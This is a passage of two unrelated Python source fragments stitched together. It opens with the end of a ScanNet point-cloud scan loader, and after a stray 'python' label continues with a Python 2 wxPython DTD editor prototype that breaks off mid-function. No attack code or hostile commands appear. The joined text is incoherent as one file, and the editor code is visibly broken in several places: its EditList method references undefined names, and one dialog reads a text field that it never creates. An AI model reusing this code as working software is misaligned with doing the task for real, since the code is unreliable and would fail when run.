np.asarray(data.elements[0].data['x']) y = np.asarray(data.elements[0].data['y']) z = np.asarray(data.elements[0].data['z']) pc = np.stack([x, y, z], axis=1) label = None if load_semantic_label: label = np.asarray(data.elements[0].data['label']) color = None if load_color: scan_data_file = osp.join(self.dataset.top_scan_dir, self.scan_id, self.scan_id + mesh_ply_suffix) data = PlyData.read(scan_data_file) r = np.asarray(data.elements[0].data['red']) g = np.asarray(data.elements[0].data['green']) b = np.asarray(data.elements[0].data['blue']) color = (np.stack([r, g, b], axis=1) / 256.0).astype(np.float32) # Global alignment of the scan if apply_global_alignment: pc = self.align_to_axes(pc) return pc, label, color def load_point_clouds_of_all_objects(self, exclude_instances=None): scan_aggregation_suffix = '.aggregation.json' aggregation_file = osp.join(self.dataset.top_scan_dir, self.scan_id, self.scan_id + scan_aggregation_suffix) with open(aggregation_file) as fin: scan_aggregation = json.load(fin) scan_segs_suffix = '_vh_clean_2.0.010000.segs.json' segment_file = self.scan_id + scan_segs_suffix segments_file = osp.join(self.dataset.top_scan_dir, self.scan_id, segment_file) with open(segments_file) as fin: segments_info = json.load(fin) segment_indices = segments_info['segIndices'] segment_dummy = scan_aggregation['segmentsFile'][len('scannet.'):] check = self.verify_read_data_correctness(scan_aggregation, segment_dummy, segment_indices) segment_indices_dict = defaultdict(list) for i, s in enumerate(segment_indices): segment_indices_dict[s].append(i) # Add to each segment, its point indices # iterate over every object all_objects = [] for object_info in scan_aggregation['segGroups']: object_instance_label = object_info['label'] object_id = object_info['objectId'] if exclude_instances is not None: if object_instance_label in exclude_instances: continue segments = object_info['segments'] pc_loc = [] # Loop over the object segments and get the all point indices of the object for s in segments: pc_loc.extend(segment_indices_dict[s]) object_pc = pc_loc all_objects.append(ThreeDObject(self, object_id, object_pc, object_instance_label)) self.three_d_objects = all_objects return check def load_point_clouds_of_all_hardcoded_boxes(self): # iterate over every object count_bad_boxes = 0 all_objects = [] for idx, box in enumerate(self.hardcoded_boxes): xmin, ymin, zmin, xmax, ymax, zmax = box object_pc = np.where((self.pc[:,0] >= xmin) & (self.pc[:,0] <= xmax) & (self.pc[:,1] >= ymin) & (self.pc[:,1] <= ymax) & (self.pc[:,2] >= zmin) & (self.pc[:,2] <= zmax))[0] if len(object_pc) == 0: count_bad_boxes += 1 continue object_id = idx object_label = "group_free_object" all_objects.append(ThreeDObject(self, object_id, object_pc, object_label)) self.hardcoded_objects = all_objects return count_bad_boxes def load_hardcoded_boxes(self, path_to_boxes): boxes = np.load(path_to_boxes) # N, 7 centroid = boxes[:, :3] lengths = boxes[:, 3:6] min_coords = centroid - (lengths/2) max_coords = centroid + (lengths/2) return np.concatenate((min_coords,max_coords),axis=1) def override_instance_labels_by_semantic_labels(self): for o in self.three_d_objects: o._use_true_instance = False def activate_instance_labels(self): for o in self.three_d_objects: o._use_true_instance = True def all_semantic_types(self): unique_types = np.unique(self.semantic_label) human_types = [] for t in unique_types: human_types.append(self.dataset.idx_to_semantic_cls(t)) return sorted(human_types) def instance_occurrences(self): """ :return: (dict) instance_type (string) -> number of occurrences in the scan (int) """ res = defaultdict(int) for o in self.three_d_objects: res[o.instance_label] += 1 return res def clone(self): raise NotImplementedError('Implement me.') def points_of_instance_types(self, valid_instance_types, exclude_instance_types): idx = [] for o in self.three_d_objects: o_label_valid = True if (valid_instance_types is None) else (o.instance_label in valid_instance_types) o_label_excluded = False if (exclude_instance_types is None) else ( o.instance_label in exclude_instance_types) if o_label_valid and not o_label_excluded: idx.extend(o.points) return np.array(idx) def sample_indices(self, subsample=None, valid_instance_types=None, seed=None, exclude_instance_types=None): """ Sample ids from the scan point cloud. :param exclude_instance_types: :param seed: Random seed (default=None) :param subsample: The number of ids to be sampled from the scan point cloud :param valid_instance_types: The instances to be sampled from :return: sampled point indices """ if valid_instance_types is not None or exclude_instance_types is not None: valid_idx = self.points_of_instance_types(valid_instance_types, exclude_instance_types) else: valid_idx = np.arange(self.n_points()) if subsample is None: return valid_idx # return all valid points else: return uniform_sample(points=valid_idx, n_samples=subsample, random_seed=seed) def plot(self, subsample=None, valid_instance_types=None): """ Plot the scan point cloud :param subsample: The number of points to be sampled from the scan point cloud :param valid_instance_types: The instances to be plotted :return: matplotlib.pyplot.fig of the scan """ pt = self.sample_indices(subsample, valid_instance_types) x, y, z = self.pc[pt, 0], self.pc[pt, 1], self.pc[pt, 2] color = self.color[pt] return plot_pointcloud(x, y, z, color=color) def align_to_axes(self, point_cloud): """ Align the scan to xyz axes using the alignment matrix found in scannet. """ # Get the axis alignment matrix alignment_matrix = self.dataset.get_axis_alignment_matrix(self.scan_id) alignment_matrix = np.array(alignment_matrix, dtype=np.float32).reshape(4, 4) # Transform the points pts = np.ones((point_cloud.shape[0], 4), dtype=point_cloud.dtype) pts[:, 0:3] = point_cloud point_cloud = np.dot(pts, alignment_matrix.transpose())[:, :3] # Nx4 # Make sure no nans are introduced after conversion assert (np.sum(np.isnan(point_cloud)) == 0) return point_cloud def scan_and_target_id_to_context_info(scan_id, target_id, all_scans_in_dict): """ Get context information (e.g., same instance-class objects) of the object specified by the target_id in the scene specified by the scene_id. :param scan_id: (string) scene0010_00 :param target_id: (int) 36 :param all_scans_in_dict: dict from strings: scene0010_00 to objects of ScannetScan :return: (chair, [35, 37, 38, 39], scene0010_00-chair-5-36-35-37-38-39) """ scene_objects = all_scans_in_dict[scan_id].three_d_objects target = scene_objects[target_id] instance_label = target.instance_label distractors = [x.object_id for x in scene_objects if x.instance_label == instance_label and x != target] half_context_info = [scan_id, instance_label, str(len(distractors) + 1), str(target_id)] context_string = '-'.join(half_context_info + [str(d) for d in distractors]) context_string = context_string.replace(' ', '_') return instance_label, distractors, context_string
python
"""Voorstudie voor een DTD editor (wxPython versie) - not actively maintained """ import os,sys,shutil,copy from xml.etree.ElementTree import Element, ElementTree, SubElement import parsedtd as pd ELTYPES = ('pcdata','one','opt','mul','mulopt') ATTTYPES = ('cdata','enum','id') VALTYPES = ('opt','req','fix','dflt') ENTTYPES = ('ent', 'ext') SYMBOLS = { 'elsrt': { 'pcdata': ('<#PCDATA>', 'parsed character data'), 'one': ('<1>', 'single'), 'opt': ('<?>', 'single optional'), 'mul': ('<+>', 'multiple'), 'mulopt': ('<*>', 'multiple optional'), }, 'elopt': ('<|>', 'either/or'), 'attsrt': { 'cdata': ('[CDATA]', 'character data'), 'enum': ('[enum]', 'enumerated values'), 'id': ('[ID]', 'id'), ## 'IDREF': ('[=>]', 'related id'), ## 'IDREFS': ('[=>>]', 'list of related ids') }, 'attwrd': { 'fix': ('[#FIXED]', 'fixed value'), 'dflt': ('[:]', 'default value'), 'req': ('[#REQUIRED]', 'required'), 'opt': ('[#IMPLIED]', 'optional'), }, 'entsrt': { 'ent': ('{&}', 'internal (value)'), 'ext': ('{&url}','external (url) ')} } TITEL = "Albert's (Simple) DTD-editor" HMASK = "DTD files (*.dtd)|*.dtd|All files (*.*)|*.*" IMASK = "All files|*.*" testdtd = """\ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> <!ATTLIST body NAME CDATA #IMPLIED CATEGORY (HandTool|Table|Shop-Professional) "HandTool" PARTNUM CDATA #IMPLIED PLANT (Pittsburgh|Milwaukee|Chicago) "Chicago" INVENTORY (InStock|Backordered|Discontinued) "InStock"> <!ENTITY writer "Donald Duck."> <!ENTITY copyright SYSTEM "http://www.w3schools.com/entities.dtd"> """ import wx if os.name == 'ce': DESKTOP = False else: DESKTOP = True def getshortname(x,attr=False,ent=False): if attr: name,srt,opt,val = x strt = ' '.join((SYMBOLS['attsrt'][srt][0],name, SYMBOLS['attwrd'][opt][0],val)) t = ''.join(('[',']')) elif ent: name,srt,val = x strt = ' '.join((SYMBOLS['entsrt'][srt][0],name,":",val)) else: tag,type,opt = x strt = ' '.join((SYMBOLS['elsrt'][type][0],tag)) if opt: strt = SYMBOLS['elopt'][0] + strt return strt def is_element(data): test = data.split()[0] if test in [x[0] for x in SYMBOLS['elsrt'].values()]: return True else: return False def is_pcdata(data): test = data.split()[0] if test == SYMBOLS['elsrt']['pcdata'][0]: return True else: return False def is_attribute(data): test = data.split()[0] if test in [x[0] for x in SYMBOLS['attsrt'].values()]: return True else: return False def is_entitydef(data): test = data.split()[0] if test in [x[0] for x in SYMBOLS['entsrt'].values()]: return True else: return False #~ def ParseDTD(data=None,file=None): #~ root = Element('Root_Element') #~ return ElementTree(root) class ElementDialog(wx.Dialog): def __init__(self,parent,title='',size=wx.DefaultSize, pos=wx.DefaultPosition, style=wx.DEFAULT_DIALOG_STYLE, item=None, not_root=True): self.not_root = not_root size = (320,200) if not_root else (320,100) wx.Dialog.__init__(self,parent,-1,title=title,size=size) #, pos, size, style) self._parent = parent self.pnl = wx.Panel(self,-1) lblName = wx.StaticText(self.pnl, -1,"element name: ") self.txtTag = wx.TextCtrl(self.pnl,-1, size=(200,-1)) self.txtTag.Bind(wx.EVT_KEY_UP,self.OnKeyUp) if not_root: lblType = wx.StaticText(self.pnl, -1,"choose one: ") self.rbTypes = [wx.RadioButton(self.pnl,-1,label=SYMBOLS['elsrt'][name][1]) for name in ELTYPES] self.cbOpt = wx.CheckBox(self.pnl,-1,label=SYMBOLS['elopt'][1]) self.bOk = wx.Button(self.pnl,id=wx.ID_SAVE) self.bOk.Bind(wx.EVT_BUTTON,self.on_ok) self.bCancel = wx.Button(self.pnl,id=wx.ID_CANCEL) ## self.bCancel.Bind(wx.EVENT_BUTTON,self.on_cancel) self.SetAffirmativeId(wx.ID_SAVE) tag = '' type = '' opt = False if item: tag = item["tag"] opt = item['opt'] type = item["type"] self.txtTag.SetValue(tag) if not_root: if type: for ix,name in enumerate(ELTYPES): if name == type: self.rbTypes[ix].SetValue(True) ## else: ## self.rbTypes[2].SetValue(True) self.cbOpt.Value = opt sizer = wx.BoxSizer(wx.VERTICAL) hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(lblName,0,wx.ALIGN_CENTER_VERTICAL) hsizer.Add(self.txtTag,0,wx.ALIGN_CENTER_VERTICAL) sizer.Add(hsizer,0, wx.ALIGN_CENTER_HORIZONTAL | wx.EXPAND | wx.ALL,5) if not_root: hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(lblType,0) vsizer = wx.BoxSizer(wx.VERTICAL) for rb in self.rbTypes: vsizer.Add(rb) hsizer.Add(vsizer,0,wx.TOP,3) sizer.Add(hsizer,0, wx.ALIGN_CENTER_HORIZONTAL | wx.EXPAND | wx.ALL,5) hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(self.cbOpt) sizer.Add(hsizer,0, wx.ALIGN_CENTER_HORIZONTAL | wx.EXPAND | wx.ALL,5) hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(self.bOk,0,wx.EXPAND | wx.ALL, 2) hsizer.Add(self.bCancel,0,wx.EXPAND | wx.ALL, 2) sizer.Add(hsizer,0, wx.ALL | wx.ALIGN_CENTER_HORIZONTAL | wx.ALIGN_CENTER_VERTICAL,2) self.pnl.SetSizer(sizer) self.pnl.SetAutoLayout(True) sizer.Fit(self.pnl) sizer.SetSizeHints(self.pnl) self.pnl.Layout() def on_ok(self, ev): self._parent.data = {} tag = self.txtTag.GetValue() if self.not_root and self.rbTypes[0].Value: if tag: self.txtTag.SetFocus() wx.MessageBox('Element name must be empty for PCDATA', self._parent.title, wx.OK|wx.ICON_ERROR) return else: if tag == '' or len(tag.split()) > 1: self.txtTag.SetFocus() wx.MessageBox('Element name cannot be empty or contain spaces', self._parent.title, wx.OK|wx.ICON_ERROR) return self._parent.data["tag"] = tag if self.not_root: typed = False for ix,rb in enumerate(self.rbTypes): if rb.Value: self._parent.data["type"] = ELTYPES[ix] #rb.LabelText typed = True if not typed: ## self.rbTypes[0].SetFocus() wx.MessageBox('You MUST choose a type for this element', self._parent.title, wx.OK|wx.ICON_ERROR) return self._parent.data['opt'] = self.cbOpt.Value else: self._parent.data["type"] = 'one' self._parent.data['opt'] = False print self._parent.data ev.Skip() ## self.end('ok') def OnKeyUp(self,ev): ky = ev.GetKeyCode() mod = ev.GetModifiers() if ky == 65 and mod == wx.MOD_CONTROL: win = ev.GetEventObject() if win in (self.txtTag): win.SelectAll() class AttributeDialog(wx.Dialog): def __init__(self,parent,title='',size=wx.DefaultSize, pos=wx.DefaultPosition, style=wx.DEFAULT_DIALOG_STYLE,item=None): wx.Dialog.__init__(self,parent,-1,title=title,size=(320,225)) #,pos.size,style) self._parent = parent self.pnl = wx.Panel(self,-1) lblName = wx.StaticText(self.pnl,-1, "Attribute name:") self.txtName = wx.TextCtrl(self.pnl,-1, size=(200,-1)) self.txtName.Bind(wx.EVT_KEY_UP,self.OnKeyUp) lblType = wx.StaticText(self.pnl, -1,"Attribute type: ") self.cmbType = wx.ComboBox(self.pnl, -1, style=wx.CB_READONLY, choices=[SYMBOLS['attsrt'][name][1] for name in ATTTYPES]) lblWrd = wx.StaticText(self.pnl, -1,"choose one: ") self.rbWrds = [wx.RadioButton(self.pnl,-1,label=SYMBOLS['attwrd'][name][1]) for name in VALTYPES] lblValue = wx.StaticText(self.pnl, -1,"Fixed/default value:") self.txtValue = wx.TextCtrl(self.pnl,-1, size=(100,-1)) # self.bList = wx.Button(self.pnl,-1,'Edit List',action=self.EditList) self.bOk = wx.Button(self.pnl,id=wx.ID_SAVE) self.bOk.Bind(wx.EVT_BUTTON,self.on_ok) self.bCancel = wx.Button(self.pnl,id=wx.ID_CANCEL) self.SetAffirmativeId(wx.ID_SAVE) nam = val = srt = opt = '' if item: nam = item["name"] srt = item['srt'] opt = item['opt'] val = item.get('val','') self.txtName.SetValue(nam) if srt: for name in ATTTYPES: if name == srt: self.cmbType.Value = SYMBOLS['attsrt'][name][1] else: self.cmbType.Value = SYMBOLS['attsrt'][ATTTYPES[0]][1] if opt: for ix,name in enumerate(VALTYPES): if name == opt: self.rbWrds[ix].Value = True else: self.rbWrds[0].Value = True self.txtValue.SetValue(val) sizer = wx.BoxSizer(wx.VERTICAL) hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(lblName,0,wx.ALIGN_CENTER_VERTICAL | wx.LEFT|wx.RIGHT,5) hsizer.Add(self.txtName,1,wx.EXPAND | wx.ALIGN_CENTER_VERTICAL) sizer.Add(hsizer,0, wx.ALIGN_CENTER_HORIZONTAL | wx.EXPAND | wx.ALL,5) hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(lblType,0,wx.ALIGN_CENTER_VERTICAL | wx.LEFT|wx.RIGHT,5) hsizer.Add(self.cmbType,0,wx.EXPAND | wx.ALIGN_CENTER_VERTICAL) sizer.Add(hsizer,0, wx.ALIGN_CENTER_HORIZONTAL | wx.EXPAND | wx.ALL,5) hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(lblWrd,0, wx.LEFT|wx.RIGHT,5) vsizer = wx.BoxSizer(wx.VERTICAL) ## print self.rbTypes for rb in self.rbWrds: vsizer.Add(rb) hsizer.Add(vsizer,0,wx.TOP,3) sizer.Add(hsizer,0, wx.ALIGN_CENTER_HORIZONTAL | wx.EXPAND | wx.ALL,5) hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(lblValue,0,wx.ALIGN_CENTER_VERTICAL | wx.LEFT|wx.RIGHT,5) hsizer.Add(self.txtValue,0,wx.EXPAND | wx.ALIGN_CENTER_VERTICAL) #hsizer.Add(self.bList,0,wx.EXPAND | wx.ALIGN_CENTER_VERTICAL) sizer.Add(hsizer,0, wx.ALIGN_CENTER_HORIZONTAL | wx.EXPAND | wx.ALL,5) hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(self.bOk,0,wx.EXPAND | wx.ALL, 2) hsizer.Add(self.bCancel,0,wx.EXPAND | wx.ALL, 2) sizer.Add(hsizer,0, wx.ALL | wx.ALIGN_CENTER_HORIZONTAL | wx.ALIGN_CENTER_VERTICAL,2) self.pnl.SetSizer(sizer) self.pnl.SetAutoLayout(True) sizer.Fit(self.pnl) sizer.SetSizeHints(self.pnl) self.pnl.Layout() def on_ok(self, ev): self._parent.data = {} nam = self.txtName.GetValue() typ = self.cmbType.GetValue() val = self.txtValue.GetValue() print nam if nam == '' or len(nam.split()) > 1: self.txtName.SetFocus() wx.MessageBox('Attribute name cannot be empty or contain spaces', self._parent.title,wx.OK|wx.ICON_ERROR) return if self.rbWrds[2].Value and val == '': self.txtValue.SetFocus() wx.MessageBox('Vaste waarde opgeven', self._parent.title,wx.OK|wx.ICON_ERROR) return if self.rbWrds[3].Value and val == '': self.txtValue.SetFocus() wx.MessageBox('Default waarde opgeven', self._parent.title,wx.OK|wx.ICON_ERROR) return self._parent.data["name"] = nam for key,wrd in SYMBOLS['attsrt'].items(): if typ == wrd[1]: self._parent.data["srt"] = key for ix,rb in enumerate(self.rbWrds): if rb.Value: self._parent.data["opt"] = VALTYPES[ix] self._parent.data["val"] = val ## self.end('ok') print self._parent.data ev.Skip() def on_cancel(self, ev): self.end('cancel') def OnKeyUp(self,ev): ky = ev.GetKeyCode() mod = ev.GetModifiers() if ky == 65 and mod == wx.MOD_CONTROL: win = ev.GetEventObject() if win in (self.txtName, self.txtValue): win.SelectAll() def EditList(self,ev): data = {'item': self.item, 'tag': tag, 'type': type, 'opt': opt} edt = ListDialog(self,title='Edit enumerated list',item=data) if edt.ShowModal() == wx.ID_SAVE: h = (self.data["tag"],self.data['type'],self.data['opt']) self.tree.SetItemText(self.item,getshortname(h)) self.tree.SetItemPyData(self.item,h) class EntityDialog(wx.Dialog): def __init__(self,parent,title='',size=wx.DefaultSize, pos=wx.DefaultPosition, style=wx.DEFAULT_DIALOG_STYLE,item=None): wx.Dialog.__init__(self,parent,-1,title=title,size=(320,160)) #,pos.size,style) self._parent = parent self.pnl = wx.Panel(self,-1) lblName = wx.StaticText(self.pnl,-1, "Entity name:") self.txtName = wx.TextCtrl(self.pnl,-1, size=(200,-1)) self.txtName.Bind(wx.EVT_KEY_UP,self.OnKeyUp) #lblValue = wx.StaticText(self.pnl,-1, "Attribute value:") #self.txtValue = wx.TextCtrl(self.pnl,-1, size=(200,-1)) #self.txtValue.Bind(wx.EVT_KEY_UP,self.OnKeyUp) lblType = wx.StaticText(self.pnl, -1,"Definition: ") self.rbTypes = [wx.RadioButton(self.pnl,-1, label=SYMBOLS['entsrt'][name][1] + ": ") for name in ENTTYPES] self.txtVal = wx.TextCtrl(self.pnl,-1, size=(100,-1)) self.txtUrl = wx.TextCtrl(self.pnl,-1, size=(100,-1)) self.bOk = wx.Button(self.pnl,id=wx.ID_SAVE) self.bOk.Bind(wx.EVT_BUTTON,self.on_ok) self.bCancel = wx.Button(self.pnl,id=wx.ID_CANCEL) ## self.bCancel.Bind(wx.EVT_BUTTON,self.on_cancel) self.SetAffirmativeId(wx.ID_SAVE) nam = val = srt = url = '' if item: nam = item["name"] #val = item["value"] srt = item['srt'] val = item.get('val','') self.txtName.SetValue(nam) #self.txtValue.SetValue(val) if srt == ENTTYPES[0]: self.rbTypes[0].SetValue(True) self.txtVal.SetValue(val) elif srt == ENTTYPES[1]: self.rbTypes[1].SetValue(True) self.txtUrl.SetValue(val) else: self.rbTypes[0].SetValue(True) sizer = wx.BoxSizer(wx.VERTICAL) hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(lblName,0,wx.ALIGN_CENTER_VERTICAL | wx.LEFT|wx.RIGHT,5) hsizer.Add(self.txtName,1,wx.EXPAND) sizer.Add(hsizer,1, wx.ALIGN_CENTER_HORIZONTAL | wx.EXPAND | wx.ALL,5) hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(lblType,0,wx.TOP|wx.LEFT|wx.RIGHT,5) #hsizer.Add(lblValue,0,wx.ALIGN_CENTER_VERTICAL | wx.LEFT|wx.RIGHT,5) #hsizer.Add(self.txtValue,1,wx.EXPAND | wx.ALIGN_CENTER_VERTICAL) #sizer.Add(hsizer,1, wx.EXPAND | wx.ALL,5) vsizer = wx.BoxSizer(wx.VERTICAL) for ix,rb in enumerate(self.rbTypes): hhsizer = wx.BoxSizer(wx.HORIZONTAL) hhsizer.Add(rb,0,wx.ALIGN_CENTER_VERTICAL | wx.ALL,1) if ix == 0: hhsizer.Add(self.txtVal,0,wx.ALIGN_CENTER_VERTICAL | wx.ALL,1) elif ix == 1: hhsizer.Add(self.txtUrl,0,wx.ALIGN_CENTER_VERTICAL | wx.ALL,1) vsizer.Add(hhsizer) hsizer.Add(vsizer,0) sizer.Add(hsizer,0, wx.ALIGN_CENTER_HORIZONTAL | wx.EXPAND | wx.ALL,5) hsizer = wx.BoxSizer(wx.HORIZONTAL) hsizer.Add(self.bOk,0,wx.EXPAND | wx.ALL, 2) hsizer.Add(self.bCancel,0,wx.EXPAND | wx.ALL, 2) sizer.Add(hsizer,0, wx.ALL | wx.ALIGN_CENTER_HORIZONTAL | wx.ALIGN_CENTER_VERTICAL,2) self.pnl.SetSizer(sizer) self.pnl.SetAutoLayout(True) sizer.Fit(self.pnl) sizer.SetSizeHints(self.pnl) self.pnl.Layout() def on_ok(self, ev): self._parent.data = {} nam = self.txtName.GetValue() ent = self.rbTypes[0].Value val = self.txtVal.GetValue() url = self.txtUrl.GetValue() ext = self.rbTypes[1].Value print nam if nam == '' or len(nam.split()) > 1: self.txtName.SetFocus() wx.MessageBox('Entity name cannot be empty or contain spaces', self._parent.title,wx.OK|wx.ICON_ERROR) return if ent and val == '': self.txtVal.SetFocus() wx.MessageBox('Waarde opgeven', self._parent.title,wx.OK|wx.ICON_ERROR) return if ext and url == '': self.txtUrl.SetFocus() wx.MessageBox('Url opgeven', self._parent.title,wx.OK|wx.ICON_ERROR) return self._parent.data["name"] = nam #self._parent.data["value"] = self.txtValue.GetValue() if ent: self._parent.data["srt"] = 'ent' self._parent.data["val"] = val elif ext: self._parent.data["srt"] = 'ext' self._parent.data["val"] = url ## self.end('ok') print self._parent.data ev.Skip() def on_cancel(self, ev): self.end('cancel') def OnKeyUp(self,ev): ky = ev.GetKeyCode() mod = ev.GetModifiers() if ky == 65 and mod == wx.MOD_CONTROL: win = ev.GetEventObject() if win in (self.txtName, self.txtValue): win.SelectAll() class MainFrame(wx.Frame): def __init__(self,parent,id,fn=''): self.parent = parent self.title = "Albert's XML Editor" self.xmlfn = fn wx.Frame.__init__(self,parent,id, pos=(2,2), size=(320,450) ) self.SetIcon(wx.Icon("axe.ico",wx.BITMAP_TYPE_ICO)) self.init_menus() menuBar = wx.MenuBar() filemenu, viewmenu, editmenu = self.init_menus() menuBar.Append(filemenu, "&File") menuBar.Append(viewmenu, "&View") menuBar.Append(editmenu, "&Edit") self.SetMenuBar(menuBar) self.enable_pasteitems(False) ## self.helpmenu.append('About', callback = self.about) self.pnl = wx.Panel(self,-1) self.tree = wx.TreeCtrl(self.pnl,-1) self.tree.Bind(wx.EVT_LEFT_DCLICK, self.onLeftDClick) self.tree.Bind(wx.EVT_RIGHT_DOWN, self.OnRightDown) self.tree.Bind(wx.EVT_KEY_UP,self.OnKeyUp) sizer0 = wx.BoxSizer(wx.VERTICAL) sizer1 = wx.BoxSizer(wx.HORIZONTAL) sizer1.Add(self.tree,1,wx.EXPAND) sizer0.Add(sizer1,1,wx.EXPAND) self.pnl.SetSizer(sizer0) self.pnl.SetAutoLayout(True) sizer0.Fit(self.pnl) sizer0.SetSizeHints(self.pnl) self.pnl.Layout() self.Show(True) self.cut_att = None self.cut_ent = None self.cut_el = None if self.xmlfn == '': self.rt = Element('New_Root') self.openxml() else: self.rt = parse_dtd(file=self.xmlfn).getroot() self.init_tree() def init_menus(self,popup=False): if popup: viewmenu = wx.Menu() else: filemenu = wx.Menu() mitem = wx.MenuItem(filemenu, -1, "&New") self.Bind(wx.EVT_MENU,self.newxml,mitem) filemenu.AppendItem(mitem) mitem = wx.MenuItem(filemenu, -1, "&Open") self.Bind(wx.EVT_MENU,self.openxml,mitem) filemenu.AppendItem(mitem) mitem = wx.MenuItem(filemenu, -1, '&Save') self.Bind(wx.EVT_MENU,self.savexml,mitem) filemenu.AppendItem(mitem) mitem = wx.MenuItem(filemenu, -1, 'Save &As') self.Bind(wx.EVT_MENU,self.savexmlas,mitem) filemenu.AppendItem(mitem) filemenu.AppendSeparator() mitem = wx.MenuItem(filemenu, -1, 'E&xit') self.Bind(wx.EVT_MENU,self.quit,mitem) filemenu.AppendItem(mitem) viewmenu = wx.Menu() mitem = wx.MenuItem(viewmenu, -1, "&Expand All (sub)Levels") self.Bind(wx.EVT_MENU,self.expand,mitem) viewmenu.AppendItem(mitem) mitem = wx.MenuItem(viewmenu, -1, "&Collapse All (sub)Levels") self.Bind(wx.EVT_MENU,self.collapse,mitem) viewmenu.AppendItem(mitem) if popup: editmenu = viewmenu editmenu.AppendSeparator() else: editmenu = wx.Menu() mitem = wx.MenuItem(editmenu, -1, "&Edit") self.Bind(wx.EVT_MENU,self.edit,mitem) editmenu.AppendItem(mitem) editmenu.AppendSeparator() mitem = wx.MenuItem(editmenu, -1, "&Delete") self.Bind(wx.EVT_MENU,self.delete,mitem) editmenu.AppendItem(mitem) mitem = wx.MenuItem(editmenu, -1, "C&ut") self.Bind(wx.EVT_MENU,self.cut,mitem) editmenu.AppendItem(mitem) mitem = wx.MenuItem(editmenu, -1, "&Copy") self.Bind(wx.EVT_MENU,self.copy,mitem) editmenu.AppendItem(mitem) mitem = wx.MenuItem(editmenu, -1, "Paste Before") self.Bind(wx.EVT_MENU,self.paste,mitem) if popup: if not self.cut_el and not self.cut_att and not self.cut_ent: mitem.SetItemLabel("Nothing to Paste") mitem.Enable(False) else: self.pastebefore_item = mitem editmenu.AppendItem(mitem) mitem = wx.MenuItem(editmenu, -1, "Paste After") self.Bind(wx.EVT_MENU,self.paste_aft,mitem) if popup: if not self.cut_el and not self.cut_att and not self.cut_ent: ## mitem.SetItemLabel(" ") mitem.Enable(False) else: self.pasteafter_item = mitem editmenu.AppendItem(mitem) mitem = wx.MenuItem(editmenu, -1, "Paste Under") self.Bind(wx.EVT_MENU,self.paste_und,mitem) if popup: if not self.cut_el and not self.cut_att and not self.cut_ent: ## mitem.SetItemLabel(" ") mitem.Enable(False) else: self.pasteunder_item = mitem editmenu.AppendItem(mitem) editmenu.AppendSeparator() mitem = wx.MenuItem(editmenu, -1, 'Insert Element Before') self.Bind(wx.EVT_MENU,self.insert,mitem) editmenu.AppendItem(mitem) mitem = wx.MenuItem(editmenu, -1, 'Insert Element After') self.Bind(wx.EVT_MENU,self.ins_aft,mitem) editmenu.AppendItem(mitem) mitem = wx.MenuItem(editmenu, -1, 'Insert Element Under') self.Bind(wx.EVT_MENU,self.ins_chld,mitem) editmenu.AppendItem(mitem) mitem = wx.MenuItem(editmenu, -1, "Add Attribute") self.Bind(wx.EVT_MENU,self.add_attr,mitem) editmenu.AppendItem(mitem) mitem = wx.MenuItem(editmenu, -1, "Add Entity") self.Bind(wx.EVT_MENU,self.add_ent,mitem) editmenu.AppendItem(mitem) if popup: return editmenu else: return filemenu, viewmenu, editmenu def enable_pasteitems(self,active=False): if active: self.pastebefore_item.SetItemLabel("Paste Before") else: self.pastebefore_item.SetItemLabel("Nothing to Paste") self.pastebefore_item.Enable(active) self.pasteafter_item.Enable(active) def newxml(self,ev=None): h = wx.Dialog.askstring("AXE", "Enter a name (tag) for the root element") if h is not None: self.init_tree("(untitled)") def openxml(self,ev=None): ## self.openfile() ## try: email = pd.DTDParser(fromstring=testdtd) ## except pd.DTDParsingError,msg: ## print msg ## return self.rt = email self.init_tree() def _openfile(self,h): try: rt = ElementTree(file=h).getroot() except: return False else: self.rt = rt self.xmlfn = h return True def openfile(self,ev=None): dlg = wx.FileDialog( self, message="Choose a file", defaultDir=os.getcwd(), wildcard=HMASK, style=wx.OPEN ) if dlg.ShowModal() == wx.ID_OK: h = dlg.GetPath() if not self._openfile(h): dlg = wx.MessageBox('dtd parsing error', self.title, wx.OK | wx.ICON_INFORMATION) dlg.ShowModal() dlg.Destroy() dlg.Destroy() def savexmlfile(self,oldfile=''): def expandnode(rt,root): tag,c = self.tree.GetFirstChild(rt) while tag.IsOk(): text = self.tree.GetItemText(tag) data = self.tree.GetItemPyData(tag) ## print text,data[0],data[1] if text.startswith(ELSTART): node = SubElement(root,data[0]) if data[1]: node.text = data[1] expandnode(tag,node) else: root.set(data[0],data[1]) tag,c = self.tree.GetNextChild(rt,c) print "savexmlfile():",self.xmlfn try: shutil.copyfile(self.xmlfn,self.xmlfn + '.bak') except IOError as mld: ## wx.MessageBox(str(mld),self.title,wx.OK|wx.ICON_ERROR) pass top = self.tree.GetRootItem() rt = self.tree.GetLastChild(top) text = self.tree.GetItemText(rt) data = self.tree.GetItemPyData(rt) root = Element(data[0]) # .split(None,1) expandnode(rt,root) h = ElementTree(root).write(self.xmlfn,encoding="iso-8859-1") def savexml(self,ev=None): ## print "savexml(): ", self.xmlfn if self.xmlfn == '': self.savexmlas() else: self.savexmlfile() def savexmlas(self,ev=None): d,f = os.path.split(self.xmlfn) ## print "savexmlas(): ", d,f dlg = wx.FileDialog( self, message="Save file as ...", defaultDir=d, defaultFile=f, wildcard=HMASK, style=wx.SAVE ) if dlg.ShowModal() == wx.ID_OK: self.xmlfn = dlg.GetPath() ## print "savexmlas(): ", self.xmlfn self.savexmlfile() # oldfile=os.path.join(d,f)) self.tree.SetItemText(self.top,self.xmlfn) self.SetTitle(" - ".join((os.path.split(self.xmlfn)[-1],TITEL))) dlg.Destroy() def about(self,ev=None): wx.MessageBox("Made in 2009 by Albert Visser\nWritten in (wx)Python", self.title,wx.OK|wx.ICON_INFORMATION ) def quit(self,ev=None): self.Close() def init_tree(self,name=''): def 